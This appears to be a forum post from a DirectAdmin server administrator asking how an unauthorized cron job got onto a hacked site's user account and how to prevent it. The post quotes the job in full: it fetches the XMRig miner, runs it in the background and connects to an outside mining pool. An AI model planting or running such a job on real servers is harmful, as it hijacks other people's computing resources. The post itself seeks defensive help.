A user (with hacked website) created following cronjob:
This code apparently mines a cryptocurrency and occupies server resources.
The intended user does not have access to the cron job, and this cronjob was probably created without direct admin access.
user cgi-bin is disabled and php shell functions are disabled:
How was it possible and how to prevent this type of attacks on directadmin server ?
Code:
*/15 * * * * if ! pgrep -x 'xmrig'; then mkdir -p ~/.tmp && cd ~/.tmp && wget -q https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-linux-static-x64.tar.gz && tar -xf xmrig-6.20.0-linux-static-x64.tar.gz && cd xmrig-6.20.0 && nohup ./xmrig -o drsql.ooguy.com:443 --user shell & f
This code apparently mines a cryptocurrency and occupies server resources.
The intended user does not have access to the cron job, and this cronjob was probably created without direct admin access.
user cgi-bin is disabled and php shell functions are disabled:
Shell Access (SSH) : Disabled
CGI-Bin : Disabled
Git : Disabled
Nginx Unit : Disabled
PHP : Enabled
disable_functions = exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Server : CentOS Linux release 7.9.2009 (Core)
Version 1.654
DA build for OS linux_amd64
Detected server OS rhel7_amd64
How was it possible and how to prevent this type of attacks on directadmin server ?
Last edited: